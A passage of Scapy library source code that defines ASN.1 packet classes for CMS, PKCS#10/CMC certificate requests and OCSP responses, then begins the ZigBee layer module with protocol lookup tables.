ASN1F_PACKET(\"rid\", CMS_IssuerAndSerialNumber(),\n                         CMS_IssuerAndSerialNumber),\n            ASN1F_PACKET(\"rid\", CMS_SubjectKeyIdentifier(),\n                         CMS_SubjectKeyIdentifier,\n                         implicit_tag=0x80),\n        ),\n        ASN1F_PACKET(\"keyEncryptionAlgorithm\",\n                     X509_AlgorithmIdentifier(),\n                     X509_AlgorithmIdentifier),\n        ASN1F_STRING(\"encryptedKey\", \"\"),\n    )\n\n\n# RFC3852 sect 6.2.2\n\nclass CMS_OriginatorPublicKey(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_PACKET(\"algorithm\",\n                     X509_AlgorithmIdentifier(),\n                     X509_AlgorithmIdentifier),\n        ASN1F_BIT_STRING(\"publicKey\", \"\"),\n    )\n\n\nclass CMS_OriginatorIdentifierOrKey(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\n        \"originator\",\n        CMS_IssuerAndSerialNumber(),\n        ASN1F_PACKET(\"issuerAndSerialNumber\", CMS_IssuerAndSerialNumber(),\n                     CMS_IssuerAndSerialNumber),\n        ASN1F_PACKET(\"subjectKeyIdentifier\", CMS_SubjectKeyIdentifier(),\n                     CMS_SubjectKeyIdentifier,\n                     implicit_tag=0x80),\n        ASN1F_PACKET(\"originatorKey\", CMS_OriginatorPublicKey(),\n                     CMS_OriginatorPublicKey,\n                     implicit_tag=0xA1),\n    )\n\n\nclass CMS_RecipientEncryptedKey(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_PACKET(\"subjectKeyIdentifier\", CMS_SubjectKeyIdentifier(),\n                     CMS_SubjectKeyIdentifier),\n        ASN1F_optional(\n            ASN1F_GENERALIZED_TIME(\"date\", \"\"),\n        ),\n        ASN1F_optional(\n            ASN1F_PACKET(\"other\", CMS_OtherKeyAttribute(), CMS_OtherKeyAttribute),\n        ),\n    )\n\n\nclass CMS_KeyAgreeRecipientInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        CMSVersion(\"version\", 3),\n        ASN1F_PACKET(\"originator\", CMS_OriginatorIdentifierOrKey(),\n                     CMS_OriginatorIdentifierOrKey,\n                     explicit_tag=0xA0),\n        ASN1F_optional(\n            ASN1F_STRING(\"ukm\", None, \"\",\n                         explicit_tag=0x81),\n        ),\n        ASN1F_PACKET(\"keyEncryptionAlgorithm\",\n                     X509_AlgorithmIdentifier(),\n                     X509_AlgorithmIdentifier),\n        ASN1F_SEQUENCE_OF(\"recipientEncryptedKeys\", [], CMS_RecipientEncryptedKey),\n    )\n\n\n# RFC3852 sect 6.2\n\nclass CMS_RecipientInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\n        \"recipientInfo\",\n        CMS_KeyTransRecipientInfo(),\n        ASN1F_PACKET(\"ktri\", CMS_KeyTransRecipientInfo(), CMS_KeyTransRecipientInfo),\n        ASN1F_PACKET(\"kari\", CMS_KeyAgreeRecipientInfo(), CMS_KeyAgreeRecipientInfo,\n                     implicit_tag=0xA1),\n    )\n\n\n# RFC3852 sect 6.1\n\nclass CMS_OriginatorInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_SET_OF(\n                \"certs\",\n                None,\n                CMS_CertificateChoices,\n                implicit_tag=0xA0,\n            )\n        ),\n        ASN1F_optional(\n            ASN1F_SET_OF(\n                \"crls\",\n                None,\n                CMS_RevocationInfoChoice,\n                implicit_tag=0xA1,\n            )\n        ),\n    )\n\n\nclass CMS_EncryptedContentInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"contentType\", \"1.2.840.113549.1.7.2\"),\n        ASN1F_PACKET(\"contentEncryptionAlgorithm\",\n                     X509_AlgorithmIdentifier(),\n                     X509_AlgorithmIdentifier),\n        ASN1F_optional(\n            ASN1F_STRING(\"encryptedContent\", \"\",\n                         implicit_tag=0x80),\n        )\n    )\n\n\nclass CMS_EnvelopedData(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        CMSVersion(\"version\", 1),\n        ASN1F_optional(\n            ASN1F_PACKET(\"originatorInfo\", None, CMS_OriginatorInfo,\n                         implicit_tag=0xA0),\n        ),\n        ASN1F_SET_OF(\"recipientInfos\", CMS_RecipientInfo(), CMS_RecipientInfo),\n        ASN1F_PACKET(\"encryptedContentInfo\", CMS_EncryptedContentInfo(),\n                     CMS_EncryptedContentInfo),\n        ASN1F_optional(\n            ASN1F_SET_OF(\"unprotectedAttrs\", [], X509_Attribute,\n                         implicit_tag=0xA1),\n        )\n    )\n\n\n# RFC3852 sect 3\n\nclass CMS_ContentInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"contentType\", \"1.2.840.113549.1.7.2\"),\n        MultipleTypeField(\n            [\n                (\n                    ASN1F_PACKET(\"content\", None, CMS_SignedData,\n                                 explicit_tag=0xA0),\n                    lambda pkt: pkt.contentType.oidname == \"id-signedData\"\n                ),\n                (\n                    ASN1F_PACKET(\"content\", None, CMS_EnvelopedData,\n                                 explicit_tag=0xA0),\n                    lambda pkt: pkt.contentType.oidname == \"id-envelopedData\"\n                ),\n            ],\n            ASN1F_BIT_STRING(\"content\", \"\", explicit_tag=0xA0)\n        )\n    )\n\n\n#####################\n#    CSR packets    #\n#####################\n\n#       based on PKCS#10       #\n\n\nclass PKCS10_CertificationRequestInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"version\", 0),\n        ASN1F_SEQUENCE_OF(\"subject\", _default_subject, X509_RDN),\n        ASN1F_PACKET(\"subjectPublicKeyInfo\",\n                     X509_SubjectPublicKeyInfo(),\n                     X509_SubjectPublicKeyInfo),\n        ASN1F_SET_OF(\"attributes\", [], X509_Attribute,\n                     implicit_tag=0xA0),\n    )\n\n    get_subject = X509_TBSCertificate.get_subject\n    get_subject_str = X509_TBSCertificate.get_subject_str\n\n\nclass PKCS10_CertificationRequest(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_PACKET(\"certificationRequestInfo\", PKCS10_CertificationRequestInfo(),\n                     PKCS10_CertificationRequestInfo),\n        ASN1F_PACKET(\"signatureAlgorithm\", X509_AlgorithmIdentifier(),\n                     X509_AlgorithmIdentifier),\n        ASN1F_BIT_STRING(\"signature\", ASN1F_BIT_STRING(\"\", \"\")),\n    )\n\n\n#       based on CMC       #\n\n# RFC 5272 sect 3.2.1.1\n\nclass CMC_TaggedAttribute(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"bodyPartID\", 0),\n        ASN1F_OID(\"type\", \"0\"),  # attrType for compat\n        ASN1F_SET_OF(\"attrValues\", [], X509_AttributeValue),\n    )\n\n\n# RFC 5272 sect 3.2.1.2.1\n\nclass CMC_TaggedCertificationRequest(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"bodyPartID\", 0),\n        ASN1F_PACKET(\"certificationRequest\", PKCS10_CertificationRequest(),\n                     PKCS10_CertificationRequest)\n    )\n\n\n# RFC 5272 sect 3.2.1.2\n\nclass CMC_TaggedRequest(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\n        \"request\", CMC_TaggedCertificationRequest(),\n        ASN1F_PACKET(\"tcr\", CMC_TaggedCertificationRequest(),\n                     CMC_TaggedCertificationRequest,\n                     implicit_tag=0xA0),\n        # XXX there are others\n    )\n\n\n# RFC 5272 sect 3.2.1.3\n\nclass CMC_TaggedContentInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"bodyPartID\", 0),\n        ASN1F_PACKET(\"contentInfo\", CMS_ContentInfo(),\n                     CMS_ContentInfo)\n    )\n\n\n# RFC 5272 sect 3.2.1.4\n\nclass CMC_OtherMsg(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"bodyPartID\", 0),\n        ASN1F_OID(\"otherMsgType\", \"0\"),\n        ASN1F_field(\"otherMsgValue\", \"\"),\n    )\n\n\n# RFC 5272 sect 3.2.1\n\nclass CMC_PKIData(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE_OF(\"controlSequence\", [], CMC_TaggedAttribute),\n        ASN1F_SEQUENCE_OF(\"reqSequence\", [], CMC_TaggedRequest),\n        ASN1F_SEQUENCE_OF(\"cmsSequence\", [], CMC_TaggedContentInfo),\n        ASN1F_SEQUENCE_OF(\"otherMsgSequence\", [], CMC_OtherMsg),\n    )\n\n\n_CMS_ENCAPSULATED[\"1.3.6.1.5.5.7.12.2\"] = CMC_PKIData\n\n\n#       Windows extensions       #\n\n# https://learn.microsoft.com/en-us/windows/win32/seccertenroll/cmc-extensions\n\nclass CMC_AddExtensions(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"pkiDataReference\", 0),\n        ASN1F_SEQUENCE_OF(\"certReferences\", [], ASN1F_INTEGER),\n        ASN1F_PACKET(\"extensions\", X509_Extensions(), X509_Extensions),\n    )\n\n\n_X509_ATTRIBUTE_TYPE[\"1.3.6.1.5.5.7.7.8\"] = CMC_AddExtensions\n\n\n# https://learn.microsoft.com/en-us/windows/win32/seccertenroll/cmc-attributes\n\nclass CMC_AddAttributes(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"pkiDataReference\", 0),\n        ASN1F_SEQUENCE_OF(\"certReferences\", [], ASN1F_INTEGER),\n        ASN1F_SET_OF(\"attributes\", X509_Attribute(), X509_Attribute),\n    )\n\n\n_X509_ATTRIBUTE_TYPE[\"1.3.6.1.4.1.311.10.10.1\"] = CMC_AddAttributes\n\n\n# [MS-WCCE] sect 2.2.2.7.2\n\nclass CMC_ENROLLMENT_CSP_PROVIDER(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"KeySpec\", 0),\n        ASN1F_BMP_STRING(\"ProviderName\", \"\"),\n        ASN1F_BIT_STRING(\"Signature\", \"\"),\n    )\n\n\n_X509_ATTRIBUTE_TYPE[\"1.3.6.1.4.1.311.13.2.2\"] = CMC_ENROLLMENT_CSP_PROVIDER\n\n\n# [MS-WCCE] sect 2.2.2.7.4\n\nclass CMC_REQUEST_CLIENT_INFO(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"clientId\", 0),\n        ASN1F_UTF8_STRING(\"MachineName\", \"\"),\n        ASN1F_UTF8_STRING(\"UserName\", \"\"),\n        ASN1F_UTF8_STRING(\"ProcessName\", \"\"),\n    )\n\n\n_X509_ATTRIBUTE_TYPE[\"1.3.6.1.4.1.311.21.20\"] = CMC_REQUEST_CLIENT_INFO\n\n\n# [MS-WCCE] sect 2.2.2.7.10\n\nclass CMC_EnrollmentNameValuePair(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_BMP_STRING(\"Name\", \"\"),\n        ASN1F_BMP_STRING(\"Value\", \"\"),\n    )\n\n\n_X509_ATTRIBUTE_TYPE[\"1.3.6.1.4.1.311.13.2.1\"] = CMC_EnrollmentNameValuePair\n\n\n# [MS-WCCE] sect 2.2.2.7.12\n\nclass CMC_ENROLL_ATTESTATION_STATEMENT(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_STRING_ENCAPS(\"kas\", KeyAttestationStatement(),\n                                    KeyAttestationStatement)\n\n\n_X509_ATTRIBUTE_TYPE[\"1.3.6.1.4.1.311.21.24\"] = CMC_ENROLL_ATTESTATION_STATEMENT\n\n\n# [MS-WCCE] sect 2.2.2.7.13\n\n_X509_ATTRIBUTE_TYPE[\"1.3.6.1.4.1.311.21.23\"] = CMS_ContentInfo\n\n\n#############################\n#    OCSP Status packets    #\n#############################\n# based on RFC 6960\n\nclass OCSP_CertID(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_PACKET(\"hashAlgorithm\",\n                     X509_AlgorithmIdentifier(),\n                     X509_AlgorithmIdentifier),\n        ASN1F_STRING(\"issuerNameHash\", \"\"),\n        ASN1F_STRING(\"issuerKeyHash\", \"\"),\n        ASN1F_INTEGER(\"serialNumber\", 0))\n\n\nclass OCSP_GoodInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_NULL(\"info\", 0)\n\n\nclass OCSP_RevokedInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_GENERALIZED_TIME(\"revocationTime\", \"\"),\n        ASN1F_optional(\n            ASN1F_PACKET(\"revocationReason\", None,\n                         X509_ExtReasonCode,\n                         explicit_tag=0xa0)))\n\n\nclass OCSP_UnknownInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_NULL(\"info\", 0)\n\n\nclass OCSP_CertStatus(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\"certStatus\", None,\n                             ASN1F_PACKET(\"good\", OCSP_GoodInfo(),\n                                          OCSP_GoodInfo, implicit_tag=0x80),\n                             ASN1F_PACKET(\"revoked\", OCSP_RevokedInfo(),\n                                          OCSP_RevokedInfo, implicit_tag=0xa1),\n                             ASN1F_PACKET(\"unknown\", OCSP_UnknownInfo(),\n                                          OCSP_UnknownInfo, implicit_tag=0x82))\n\n\nclass OCSP_SingleResponse(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_PACKET(\"certID\", OCSP_CertID(), OCSP_CertID),\n        ASN1F_PACKET(\"certStatus\", OCSP_CertStatus(certStatus=OCSP_GoodInfo()),\n                     OCSP_CertStatus),\n        ASN1F_GENERALIZED_TIME(\"thisUpdate\", \"\"),\n        ASN1F_optional(\n            ASN1F_GENERALIZED_TIME(\"nextUpdate\", \"\",\n                                   explicit_tag=0xa0)),\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\"singleExtensions\", None,\n                              X509_Extension,\n                              explicit_tag=0xa1)))\n\n\nclass OCSP_ByName(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"byName\", [], X509_RDN)\n\n\nclass OCSP_ByKey(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_STRING(\"byKey\", \"\")\n\n\nclass OCSP_ResponderID(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\"responderID\", None,\n                             ASN1F_PACKET(\"byName\", OCSP_ByName(), OCSP_ByName,\n                                          explicit_tag=0xa1),\n                             ASN1F_PACKET(\"byKey\", OCSP_ByKey(), OCSP_ByKey,\n                                          explicit_tag=0xa2))\n\n\nclass OCSP_ResponseData(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_enum_INTEGER(\"version\", 0, {0: \"v1\"},\n                               explicit_tag=0x80)),\n        ASN1F_PACKET(\"responderID\", OCSP_ResponderID(responderID=OCSP_ByName()),\n                     OCSP_ResponderID),\n        ASN1F_GENERALIZED_TIME(\"producedAt\",\n                               str(GeneralizedTime())),\n        ASN1F_SEQUENCE_OF(\"responses\", [], OCSP_SingleResponse),\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\"responseExtensions\", None,\n                              X509_Extension,\n                              explicit_tag=0xa1)))\n\n\nclass ASN1F_OCSP_BasicResponse(ASN1F_SEQUENCE):\n    def __init__(self, **kargs):\n        seq = [ASN1F_PACKET(\"tbsResponseData\",\n                            OCSP_ResponseData(),\n                            OCSP_ResponseData),\n               ASN1F_PACKET(\"signatureAlgorithm\",\n                            X509_AlgorithmIdentifier(),\n                            X509_AlgorithmIdentifier),\n               MultipleTypeField(\n                   [\n                       (ASN1F_BIT_STRING_ENCAPS(\"signature\",\n                                                ECDSASignature(),\n                                                ECDSASignature),\n                        lambda pkt: \"ecdsa\" in pkt.signatureAlgorithm.algorithm.oidname.lower()),  # noqa: E501\n                   ],\n                   ASN1F_BIT_STRING(\"signature\",\n                                    \"defaultsignature\" * 2)),\n               ASN1F_optional(\n                   ASN1F_SEQUENCE_OF(\"certs\", None, X509_Cert,\n                                     explicit_tag=0xa0))]\n        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)\n\n\nclass OCSP_ResponseBytes(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"responseType\", \"1.3.6.1.5.5.7.48.1.1\"),\n        ASN1F_OCSP_BasicResponse(explicit_tag=0x04))\n\n\n_responseStatus_mapping = [\"successful\",\n                           \"malformedRequest\",\n                           \"internalError\",\n                           \"tryLater\",\n                           \"notUsed\",\n                           \"sigRequired\",\n                           \"unauthorized\"]\n\n\nclass OCSP_Response(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_ENUMERATED(\"responseStatus\", 0,\n                         _responseStatus_mapping),\n        ASN1F_optional(\n            ASN1F_PACKET(\"responseBytes\", None,\n                         OCSP_ResponseBytes,\n                         explicit_tag=0xa0)))\n"
  },
  {
    "path": "scapy/layers/zigbee.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Ryan Speers <ryan@rmspeers.com> 2011-2012\n# Copyright (C) Roger Meyer <roger.meyer@csus.edu>: 2012-03-10 Added frames\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>: 2018\n# Copyright (C) 2020-2021 Dimitrios-Georgios Akestoridis <akestoridis@cmu.edu>\n\n\"\"\"\nZigBee bindings for IEEE 802.15.4.\n\"\"\"\n\nimport struct\n\nfrom scapy.compat import orb\nfrom scapy.packet import bind_layers, bind_bottom_up, Packet\nfrom scapy.fields import BitField, ByteField, XLEIntField, ConditionalField, \\\n    ByteEnumField, EnumField, BitEnumField, FieldListField, FlagsField, \\\n    IntField, PacketListField, ShortField, StrField, StrFixedLenField, \\\n    StrLenField, XLEShortField, XStrField\n\nfrom scapy.layers.dot15d4 import dot15d4AddressField, Dot15d4Beacon, Dot15d4, \\\n    Dot15d4FCS\nfrom scapy.layers.inet import UDP\nfrom scapy.layers.ntp import TimeStampField\n\n\n# APS Profile Identifiers\n_aps_profile_identifiers = {\n    0x0000: \"Zigbee_Device_Profile\",\n    0x0101: \"IPM_Industrial_Plant_Monitoring\",\n    0x0104: \"HA_Home_Automation\",\n    0x0105: \"CBA_Commercial_Building_Automation\",\n    0x0107: \"TA_Telecom_Applications\",\n    0x0108: \"HC_Health_Care\",\n    0x0109: \"SE_Smart_Energy_Profile\",\n}\n\n# ZigBee Cluster Library Identifiers, Table 2.2 ZCL\n_zcl_cluster_identifier = {\n    # Functional Domain: General\n    0x0000: \"basic\",\n    0x0001: \"power_configuration\",\n    0x0002: \"device_temperature_configuration\",\n    0x0003: \"identify\",\n    0x0004: \"groups\",\n    0x0005: \"scenes\",\n    0x0006: \"on_off\",\n    0x0007: \"on_off_switch_configuration\",\n    0x0008: \"level_control\",\n    0x0009: \"alarms\",\n    0x000a: \"time\",\n    0x000b: \"rssi_location\",\n    0x000c: \"analog_input\",\n    0x000d: \"analog_output\",\n    0x000e: \"analog_value\",\n    0x000f: \"binary_input\",\n    0x0010: \"binary_output\",\n    0x0011: \"binary_value\",\n    0x0012: \"multistate_input\",\n    0x0013: \"multistate_output\",\n    0x0014: \"multistate_value\",\n    0x0015: \"commissioning\",\n    # 0x0016 - 0x00ff reserved\n    # Functional Domain: Closures\n    0x0100: \"shade_configuration\",\n    # 0x0101 - 0x01ff reserved\n    # Functional Domain: HVAC\n    0x0200: \"pump_configuration_and_control\",\n    0x0201: \"thermostat\",\n    0x0202: \"fan_control\",\n    0x0203: \"dehumidification_control\",\n    0x0204: \"thermostat_user_interface_configuration\",\n    # 0x0205 - 0x02ff reserved\n    # Functional Domain: Lighting\n    0x0300: \"color_control\",\n    0x0301: \"ballast_configuration\",\n    # Functional Domain: Measurement and sensing\n    0x0400: \"illuminance_measurement\",\n    0x0401: \"illuminance_level_sensing\",\n    0x0402: \"temperature_measurement\",\n    0x0403: \"pressure_measurement\",\n    0x0404: \"flow_measurement\",\n    0x0405: \"relative_humidity_measurement\",\n    0x0406: \"occupancy_sensing\",\n    # Functional Domain: Security and safethy\n    0x0500: \"ias_zone\",\n    0x0501: \"ias_ace\",\n    0x0502: \"ias_wd\",\n    # Functional Domain: Protocol Interfaces\n    0x0600: \"generic_tunnel\",\n    0x0601: \"bacnet_protocol_tunnel\",\n    0x0602: \"analog_input_regular\",\n    0x0603: \"analog_input_extended\",\n    0x0604: \"analog_output_regular\",\n    0x0605: \"analog_output_extended\",\n    0x0606: \"analog_value_regular\",\n    0x0607: \"analog_value_extended\",\n    0x0608: \"binary_input_regular\",\n    0x0609: \"binary_input_extended\",\n    0x060a: \"binary_output_regular\",\n    0x060b: \"binary_output_extended\",\n    0x060c: \"binary_value_regular\",\n    0x060d: \"binary_value_extended\",\n    0x060e: \"multistate_input_regular\",\n    0x060f: \"multistate_input_extended\",\n    0x0610: \"multistate_output_regular\",\n    0x0611: \"multistate_output_extended\",\n    0x0612: \"multistate_value_regular\",\n    0x0613: \"multistate_value\",\n    # Smart Energy Profile Clusters\n    0x0700: \"price\",\n    0x0701: \"demand_response_and_load_control\",\n    0x0702: \"metering\",\n    0x0703: \"messaging\",\n    0x0704: \"smart_energy_tunneling\",\n    0x0705: \"prepayment\",\n    # Functional Domain: General\n    # Key Establishment\n    0x0800: \"key_establishment\",\n}\n\n# ZigBee Cluster Library, Table 2.8 ZCL Command Frames\n_zcl_command_frames = {\n    0x00: \"read_attributes\",\n    0x01: \"read_attributes_response\",\n    0x02: \"write_attributes\",\n    0x03: \"write_attributes_undivided\",\n    0x04: \"write_attributes_response\",\n    0x05: \"write_attributes_no_response\",\n    0x06: \"configure_reporting\",\n    0x07: \"configure_reporting_response\",\n    0x08: \"read_reporting_configuration\",\n    0x09: \"read_reporting_configuration_response\",\n    0x0a: \"report_attributes\",\n    0x0b: \"default_response\",\n    0x0c: \"discover_attributes\",\n    0x0d: \"discover_attributes_response\",\n    0x0e: \"read_attributes_structured\",\n    0x0f: \"write_attributes_structured\",\n    0x10: \"write_attributes_structured_response\",\n    0x11: \"discover_commands_received\",\n    0x12: \"discover_commands_received_response\",\n    0x13: \"discover_commands_generated\",\n    0x14: \"discover_commands_generated_response\",\n    0x15: \"discover_attributes_extended\",\n    0x16: \"discover_attributes_extended_response\",\n    # 0x17 - 0xff Reserved\n}\n\n# ZigBee Cluster Library, Table 2.16 Enumerated Status Values\n_zcl_enumerated_status_values = {\n    0x00: \"SUCCESS\",\n    0x01: \"FAILURE\",\n    # 0x02 - 0x7d Reserved\n    0x7e: \"NOT_AUTHORIZED\",\n    0x7f: \"RESERVED_FIELD_NOT_ZERO\",\n    0x80: \"MALFORMED_COMMAND\",\n    0x81: \"UNSUP_CLUSTER_COMMAND\",\n    0x82: \"UNSUP_GENERAL_COMMAND\",\n    0x83: \"UNSUP_MANUF_CLUSTER_COMMAND\",\n    0x84: \"UNSUP_MANUF_GENERAL_COMMAND\",\n    0x85: \"INVALID_FIELD\",\n    0x86: \"UNSUPPORTED_ATTRIBUTE\",\n    0x87: \"INVALID_VALUE\",\n    0x88: \"READ_ONLY\",\n    0x89: \"INSUFFICIENT_SPACE\",\n    0x8a: \"DUPLICATE_EXISTS\",\n    0x8b: \"NOT_FOUND\",\n    0x8c: \"UNREPORTABLE_ATTRIBUTE\",\n    0x8d: \"INVALID_DATA_TYPE\",\n    0x8e: \"INVALID_SELECTOR\",\n    0x8f: \"WRITE_ONLY\",\n    0x90: \"INCONSISTENT_STARTUP_STATE\",\n    0x91: \"DEFINED_OUT_OF_BAND\",\n    0x92: \"INCONSISTENT\",\n    0x93: \"ACTION_DENIED\",\n    0x94: \"TIMEOUT\",\n    0x95: \"ABORT\",\n    0x96: \"INVALID_IMAGE\",\n    0x97: \"WAIT_FOR_DATA\",\n    0x98: \"NO_IMAGE_AVAILABLE\",\n    0x99: \"REQUIRE_MORE_IMAGE\",\n    0x9a: \"NOTIFICATION_PENDING\",\n    # 0x9b - 0xbf Reserved\n    0xc0: \"HARDWARE_FAILURE\",\n    0xc1: \"SOFTWARE_FAILURE\",\n    0xc2: \"CALIBRATION_ERROR\",\n    0xc3: \"UNSUPPORTED_CLUSTER\",\n    # 0xc4 - 0xff Reserved\n}\n\n# ZigBee Cluster Library, Table 2.15 Data Types\n_zcl_attribute_data_types = {\n    0x00: \"no_data\",\n    # General data\n    0x08: \"8-bit_data\",\n    0x09: \"16-bit_data\",\n    0x0a: \"24-bit_data\",\n    0x0b: \"32-bit_data\",\n    0x0c: \"40-bit_data\",\n    0x0d: \"48-bit_data\",\n    0x0e: \"56-bit_data\",\n    0x0f: \"64-bit_data\",\n    # Logical\n    0x10: \"boolean\",\n    # Bitmap\n    0x18: \"8-bit_bitmap\",\n    0x19: \"16-bit_bitmap\",\n    0x1a: \"24-bit_bitmap\",\n    0x1b: \"32-bit_bitmap\",\n    0x1c: \"40-bit_bitmap\",\n    0x1d: \"48-bit_bitmap\",\n    0x1e: \"56-bit_bitmap\",\n    0x1f: \"64-bit_bitmap\",\n    # Unsigned integer\n    0x20: \"Unsigned_8-bit_integer\",\n    0x21: \"Unsigned_16-bit_integer\",\n    0x22: \"Unsigned_24-bit_integer\",\n    0x23: \"Unsigned_32-bit_integer\",\n    0x24: \"Unsigned_40-bit_integer\",\n    0x25: \"Unsigned_48-bit_integer\",\n    0x26: \"Unsigned_56-bit_integer\",\n    0x27: \"Unsigned_64-bit_integer\",\n    # Signed integer\n    0x28: \"Signed_8-bit_integer\",\n    0x29: \"Signed_16-bit_integer\",\n    0x2a: \"Signed_24-bit_integer\",\n    0x2b: \"Signed_32-bit_integer\",\n    0x2c: \"Signed_40-bit_integer\",\n    0x2d: \"Signed_48-bit_integer\",\n    0x2e: \"Signed_56-bit_integer\",\n    0x2f: \"Signed_64-bit_integer\",\n    # Enumeration\n    0x30: \"8-bit_enumeration\",\n    0x31: \"16-bit_enumeration\",\n    # Floating point\n    0x38: \"semi_precision\",\n    0x39: \"single_precision\",\n    0x3a: \"double_precision\",\n    # String\n    0x41: \"octet-string\",\n    0x42: \"character_string\",\n    0x43: \"long_octet_string\",\n    0x44: \"long_character_string\",\n    # Ordered sequence\n    0x48: \"array\",\n    0x4c: \"structure\",\n    # Collection\n    0x50: \"set\",\n    0x51: \"bag\",\n    # Time\n    0xe0: \"time_of_day\",\n    0xe1: \"date\",\n    0xe2: \"utc_time\",\n    # Identifier\n    0xe8: \"cluster_id\",\n    0xe9: \"attribute_id\",\n    0xea: \"bacnet_oid\",\n    # Miscellaneous\n    0xf0: \"ieee_address\",\n    0xf1: \"128-bit_security_key\",\n    # Unknown\n    0xff: \"unknown\",\n}\n\n# Zigbee Cluster Library, IAS Zone, Enroll Response Codes\n_zcl_ias_zone_enroll_response_codes = {\n    0x00: \"Success\",\n    0x01: \"Not supported\",\n    0x02: \"No enroll permit\",\n    0x03: \"Too many zones\",\n}\n\n# Zigbee Cluster Library, IAS Zone, Zone Types\n_zcl_ias_zone_zone_types = {\n    0x0000: \"Standard CIE\",\n    0x000d: \"Motion sensor\",\n    0x0015: \"Contact switch\",\n    0x0028: \"Fire sensor\",\n    0x002a: \"Water sensor\",\n    0x002b: \"Carbon Monoxide (CO) sensor\",\n    0x002c: \"Personal emergency device\",\n    0x002d: \"Vibration/Movement sensor\",\n    0x010f: \"Remote Control\",\n    0x0115: \"Key fob\",\n    0x021d: \"Keypad\",\n    0x0225: \"Standard Warning Device\",\n    0x0226: \"Glass break sensor\",\n    0x0229: \"Security repeater\",\n    # 0x8000 - 0xfffe Manufacturer-specific types\n    0xffff: \"Invalid Zone Type\",\n}\n\n\n# ZigBee #\n\nclass ZigbeeNWK(Packet):\n    name = \"Zigbee Network Layer\"\n    fields_desc = [\n        BitField(\"discover_route\", 0, 2),\n        BitField(\"proto_version\", 2, 4),\n        BitEnumField(\"frametype\", 0, 2,\n                     {0: 'data', 1: 'command', 3: 'Inter-PAN'}),\n        FlagsField(\"flags\", 0, 8, ['multicast', 'security', 'source_route', 